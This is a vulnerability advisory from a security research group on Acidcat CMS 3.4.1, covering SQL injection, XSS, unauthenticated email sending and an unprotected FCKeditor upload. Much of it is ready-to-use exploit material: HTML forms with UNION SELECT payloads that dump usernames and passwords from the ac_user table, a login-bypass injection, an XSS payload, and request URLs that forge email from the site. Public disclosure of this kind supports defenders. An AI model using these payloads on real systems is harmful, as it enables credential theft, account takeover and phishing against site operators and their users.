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Acidcat CMS Multiple Vulnerabilities



########################## www.BugReport.ir 
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#
#      AmnPardaz Security Research Team
#
# Title: Acidcat CMS Multiple Vulnerabilities. 
# Vendor: www.acidcat.com
# Vulnerable Version: 3.4.1
# Exploit: Available
# Impact: High
# Fix: N/A
# Original Advisory: http://bugreport.ir/index.php?/36
###################################################################################


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1. Description:
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Acidcat CMS is a web site and simple Content Management System that can be 
administered via a web browser.

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2. Vulnerability:
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        2.1. There is a SQL Injection in "default.asp". By using it, attacker 
can gain usernames and encrypted passwords.
                2.1.1. POC:
                                Check the exploit section.
        2.2. There is a logical vulnerability in which attacker can send email 
by the site without any permission.
                2.2.1. POC:
                                Check the exploit section.
        2.3. There is a SQL Injection in "main_login2.asp". By using it, 
attacker can login to the site.
                2.3.1. POC:
                                Check the exploit section.
        2.4. There is a XSS in "/admin/admin_colors_swatch.asp".
                2.4.1. POC:
                                
/admin/admin_colors_swatch.asp?field=value='';}alert('XSS');function(){myForm.myText
        2.5. There is a FckEditor which has no permission, and attacker can 
upload his/her file.
                2.5.1. POC:
                                
/admin/fckeditor/editor/filemanager/connectors/test.html
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3. Exploits:
####################
 
Original Exploit URL: http://bugreport.ir/index.php?/36/exploit

        3.1. Attacker can gain usernames and passwords:
        -------------
                <form action="http://[The URL]/default.asp?formType=&itemID=" 
method="post">
                <input type="text" name="cID" id="cID" value="-1 union select 
1,username,3,password,5,6,7,8,9,10,'1-1-2000','1-1-2010' from ac_user" />
                <br />
                <input type="submit" value="Submit" />
                </form>

        -------------
        3.2. Attacker can send email without any permission:
        -------------
                default_mail_aspemail.asp? 
AcidcatSend=1&From=Fake@xxxxxxxx&FromName=FakeAdmin&To=Victim@xxxxxxxxx&Subject=Forgery&Body=Change
 your password to 123456!
                                                                        
                default_mail_cdosys.asp? 
AcidcatSend=1&From=Fake@xxxxxxxx&FromName=FakeAdmin&To=Victim@xxxxxxxxx&Subject=Forgery&Body=Change
 your password to 123456!
                
                default_mail_jmail.asp? 
AcidcatSend=1&From=Fake@xxxxxxxx&FromName=FakeAdmin&To=Victim@xxxxxxxxx&Subject=Forgery&Body=Change
 your password to 123456!
        -------------
        3.3. Attacker can login to the site:
        -------------
                <form action="main_login2.asp" method="post">
                <input type="hidden" name="username" id="username" 
value="FooNot' union select 
1,2,3,'%CE%10%C9%CE%AC%0F%F3%07A%91%8B%1B%9FF%2D%DF%EBcO%9Au%5F%28%80%A5%0D%D0%89%EA%EF%3E%BB%BDx%5F%0EM%7C%09%2C%B6s%9D%EAa%2FqX%7E%08%05%CAZ%26%1ET%10%CE'
 from ac_user where Username='1'or'1'='1'or'1'='1" size="200"/>
                <br />
                <input type="hidden" name="password" id="password" value="0" />
                <br />
                <input type="submit" value="Click To Login!" />
                </form>
        -------------
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4. Solution:
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        Edit the source code to ensure that inputs are properly sanitized.
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- Credit :
####################
AmnPardaz Security Research & Penetration Testing Group
Contact: admin[4t}bugreport{d0t]ir
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